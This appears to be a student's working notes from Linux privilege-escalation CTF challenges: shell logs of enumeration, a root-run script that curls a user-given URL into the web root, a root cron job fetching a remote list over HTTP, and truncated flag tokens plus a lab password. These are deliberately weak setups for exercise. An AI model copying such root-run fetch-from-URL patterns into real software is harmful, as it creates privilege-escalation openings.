# The /var/www/html/ directory is only writeable for the root user
# If the script is executed as standard user, sudo the script to execute it as root
if [ $(/usr/bin/id -u) -ne 0 ]
then
    sudo $0 "$@"
    exit $?
URL=$1
/usr/bin/curl -o /var/www/html/index.html $URL
student@h11ea9fd1675b ~
$ id
uid=1001(student) gid=1001(student) groups=1001(student)
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh /var/www/html/
curl: (3) URL using bad/illegal format or missing URL
student@h11ea9fd1675b ~
$ curl www.wikipedia.com
curl: (6) Could not resolve host: www.wikipedia.com
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh www.wikipedia.com
curl: (6) Could not resolve host: www.wikipedia.com
student@h11ea9fd1675b ~
$ crontab -l
bash: crontab: command not found
student@h11ea9fd1675b ~
$
```

CTF 8

```
student@heab248e39d1a ~
$ ls
student@heab248e39d1a ~
$ ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 bash
     34 pts/0    00:00:00 ps
student@heab248e39d1a ~
$ su
Password:
su: Authentication failure
student@heab248e39d1a ~
$ su root
Password:
su: Authentication failure
student@heab248e39d1a ~
$ cd /
student@heab248e39d1a /
$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
student@heab248e39d1a /
$ cd root/
bash: cd: root/: Permission denied
student@heab248e39d1a /
$ cd tmp
student@heab248e39d1a /tmp
$ ls
student@heab248e39d1a /tmp
$ cd ..
student@heab248e39d1a /
$ ls etc
```

```
adduser.conf            cron.d          dpkg             group-     issue.net      logrotate.conf  mke2fs.conf    pam.d      rc0.d
rpc       subgid-        vim
aliases                 cron.daily      e2scrub.conf     gshadow    kernel         logrotate.d     motd           passwd     rc1.d
security  subuid         wgetrc
alternatives            cron.hourly     email-addresses  gshadow-   ld.so.cache    machine-id      mtab           passwd-    rc2.d
selinux   subuid-        xattr.conf
apache2                 cron.monthly    environment      gss        ld.so.conf     magic           mysql          perl       rc3.d
services  supervisor
apparmor.d              cron.weekly     ethertypes       host.conf  ld.so.conf.d   magic.mime      netconfig      ppp        rc4.d
shadow    sysctl.conf
apt                     crontab         exim4            hostname   ldap           mailcap         networks       profile    rc5.d
shadow-   sysctl.d
bash.bashrc             debconf.conf    fstab            hosts      libaudit.conf  mailcap.order   nsswitch.conf  profile.d  rc6.d
shells    systemd
bindresvport.blacklist  debian_version  gai.conf         init.d     localtime      mailname        opt            protocols  rcS.d
skel      terminfo
ca-certificates         default         groff            inputrc    logcheck       manpath.config  os-release     python3
resolv.conf  ssl       timezone
ca-certificates.conf    deluser.conf    group            issue      login.defs     mime.types      pam.conf       python3.9  rmt
subgid    update-motd.d
student@heab248e39d1a /
$ ls etc/cron.d
e2scrub_all  logrotate  syncweb
student@heab248e39d1a /
$ ls etc/cron.d/syncweb
etc/cron.d/syncweb
student@heab248e39d1a /
$ ls etc/cron.d/syncweb/etc/cron.d/syncweb
ls: cannot access 'etc/cron.d/syncweb/etc/cron.d/syncweb': Not a directory
student@heab248e39d1a /
$ ls etc/cron.d/syncweb/etc/cron.d
ls: cannot access 'etc/cron.d/syncweb/etc/cron.d': Not a directory
student@heab248e39d1a /
$ ls etc/cron.d/syncweb/etc/
ls: cannot access 'etc/cron.d/syncweb/etc/': Not a directory
student@heab248e39d1a /
$ ls etc/cron.d/syncweb/
ls: cannot access 'etc/cron.d/syncweb/': Not a directory
student@heab248e39d1a /
$ ls etc/cron.d/syncweb
etc/cron.d/syncweb
student@heab248e39d1a /
$ cat etc/cron.d/syncweb
*  *  *  *  *   root    /usr/local/sbin/sync-web.sh >> /var/log/cron.log 2>&1

student@heab248e39d1a /
$ cat /var/log/cron.log
--2023-01-13 15:48:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:49:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:50:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:51:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:52:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:53:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:54:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:55:02--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:56:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:57:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:58:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
```

```
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 15:59:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:00:02--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:01:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:02:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:03:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:04:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:05:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:06:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:07:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:08:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:09:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:10:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:11:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:12:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:13:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:14:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:15:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:16:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:17:02--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:18:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:19:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:20:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:21:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
--2023-01-13 16:22:01--  http://www.fred.fr/sync-list.txt
Resolving www.fred.fr (www.fred.fr)... failed: Temporary failure in name resolution.
wget: unable to resolve host address 'www.fred.fr'
student@heab248e39d1a /
$ tcpdump -n -v -A -s 65536 'tcp port 80'
bash: tcpdump: command not found
student@heab248e39d1a /
$ /usr/local/sbin/sync-web.sh
bash: /usr/local/sbin/sync-web.sh: Permission denied
```

```
student@heab248e39d1a /
$ crontab -l
no crontab for student
student@heab248e39d1a /
$
```

Flags

Challenge 1

```
FLG{eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiam92aWFsX3N0b25lYnJha2VyX21hdGhpc19kZV9ndWV5ZG9uX2lzZW5feW5jcmVhX2ZyIiwiY21k
```

Challenge 2

```
FLG{eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWdpdGF0ZWRfZGF2aW5jaV9tYXRoaXNfZGVfZ3VleWRvbl9pc2VuX3luY3JlYV9mciIsImNtZCI6
```

Challenge 3

```
FLG{eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidmlnaWxhbnRfcGF5bmVfbWF0aGlzX2RlX2d1ZXlkb25faXNlbl95bmNyZWFfZnIiLCJjbWQiOlsi
```

Challenge 4

Challenge 5

```
pwd 1 : CJCPpe5SnGHRB2bM9bAJnYW0B05vXMg65QR51hOjV
```

Challenge 6

Challenge 7

Challenge 8